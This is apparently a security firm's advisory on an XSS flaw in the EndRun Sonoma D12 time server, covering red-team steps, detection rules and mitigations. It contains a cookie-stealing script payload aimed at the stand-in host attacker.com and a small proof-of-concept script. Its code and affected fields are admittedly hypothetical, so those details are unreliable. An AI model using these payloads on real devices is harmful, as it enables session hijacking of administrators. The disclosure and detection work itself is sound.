CVE-2025-60958
Executive Summary
CVE-2025-60958 is a Cross-Site Scripting (XSS) vulnerability identified in the EndRun Technologies Sonoma D12 Network Time Server (GPS) running firmware version 6010-0071-000 Ver 4.00. This vulnerability allows an unauthenticated attacker to inject malicious scripts into the web interface of the device, potentially leading to session hijacking, credential theft, or further compromise of the network time infrastructure. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (XSS), a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network
- Attack Complexity (AC): Low
- Privileges Required (PR): None
- User Interaction (UI): Required
- Scope (S): Changed
- Confidentiality (C): Low
- Integrity (I): Low
- Availability (A): None
Threat Level: Medium (5.4) – Exploitation requires user interaction but can lead to sensitive information disclosure.
Deep Dive & Mechanics
The Sonoma D12 Network Time Server is a precision timekeeping device used in critical infrastructure, financial systems, and telecommunications. The XSS vulnerability likely resides in the web management interface, where user-supplied input (e.g., in configuration fields, log viewers, or status pages) is not properly sanitized before being rendered in HTML. An attacker can craft a malicious URL or payload that, when accessed by an authenticated administrator, executes arbitrary JavaScript in the context of the device’s web application.
Attack Vector:
- The attacker identifies a vulnerable input field (e.g., NTP peer name, syslog server address, or device description).
- The attacker injects a payload such as
<script>alert('XSS')</script>or a more sophisticated payload to steal session cookies. - When an administrator views the affected page, the script executes, potentially exfiltrating session tokens or performing actions on behalf of the admin.
Impact:
- Session hijacking
- Credential theft
- Defacement of the web interface
- Redirection to malicious sites
- Potential pivot to internal network resources
Vulnerable vs. Patched Code
Since no patch is available, a hypothetical fix would involve proper input validation and output encoding. Below is an example of vulnerable vs. patched code in a Python-based web handler (common in embedded devices):
Vulnerable Code (Python Flask example):
@app.route('/config', methods=['POST'])
def update_config():
ntp_server = request.form['ntp_server']
# Directly rendering user input without sanitization
return render_template('config.html', ntp_server=ntp_server)
Patched Code:
from markupsafe import escape
@app.route('/config', methods=['POST'])
def update_config():
ntp_server = request.form['ntp_server']
# Sanitize input using escape
safe_ntp_server = escape(ntp_server)
return render_template('config.html', ntp_server=safe_ntp_server)
In the patched version, the escape() function converts HTML special characters (e.g., <, >, &) into their entity equivalents, preventing script injection.
Exploitation & Lab Setup
Red Team
Lab Environment:
- Target: EndRun Sonoma D12 with firmware 6010-0071-000 Ver 4.00
- Attacker: Kali Linux with Burp Suite and a web browser
- Network: Both devices on the same subnet (e.g., 192.168.1.0/24)
Exploitation Steps:
- Identify the web interface (default IP: 192.168.1.100, port 80).
- Log in with default credentials (if known) or find an unauthenticated endpoint.
- Locate a vulnerable input field (e.g., NTP server configuration).
- Inject a payload:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Submit the form and wait for an admin to view the page.
- Capture the cookie on the attacker’s server.
Proof-of-Concept (No public exploit available):
import requests
target = "http://192.168.1.100/config"
payload = {"ntp_server": "<script>alert('XSS')</script>"}
response = requests.post(target, data=payload)
print("Payload sent. Check if admin triggers XSS.")
Blue Team
Detection Steps:
- Monitor web server logs for unusual characters in input fields (e.g.,
<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly review device logs for unauthorized configuration changes.
Hunting Query (Splunk):
index=web_logs sourcetype=access_combined
| search uri_path="/config" AND form_data=*<script>*
| table _time, src_ip, uri_path, form_data
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from the NTP device
- Unusual
Refererheaders containing XSS payloads
- Host IOCs:
- Modified configuration files containing JavaScript code
- Unexpected entries in the device’s log files (e.g.,
alert('XSS'))
- File IOCs:
- Presence of
*.jsfiles in the web root directory that are not part of the original firmware
- Presence of
Detection Engineering
YARA Rule
rule CVE_2025_60958_XSS_Payload {
meta:
description = "Detects XSS payloads targeting EndRun Sonoma D12"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-60958"
strings:
$xss1 = "<script>" ascii wide nocase
$xss2 = "onerror=" ascii wide nocase
$xss3 = "javascript:" ascii wide nocase
$xss4 = "onload=" ascii wide nocase
condition:
any of ($xss*)
}
Sigma Rule
title: XSS Attempt on EndRun Sonoma D12
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in HTTP requests to the NTP device
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-60958 XSS Attempt on EndRun Sonoma D12"; flow:to_server,established; content:"POST"; http_method; content:"/config"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable remote web management if not required.
- Restrict access to the web interface via firewall rules (allow only trusted IPs).
- Change default credentials immediately.
Vendor Patch:
- Contact EndRun Technologies for a firmware update.
- Monitor vendor advisories for CVE-2025-60958.
Workarounds:
- Implement a reverse proxy with WAF capabilities (e.g., ModSecurity) to filter XSS payloads.
- Use a VPN for administrative access to the device.
Long-term:
- Conduct a security audit of all network time devices.
- Implement input validation and output encoding in custom integrations.
Valters IT
Securing Critical Infrastructure, One CVE at a Time.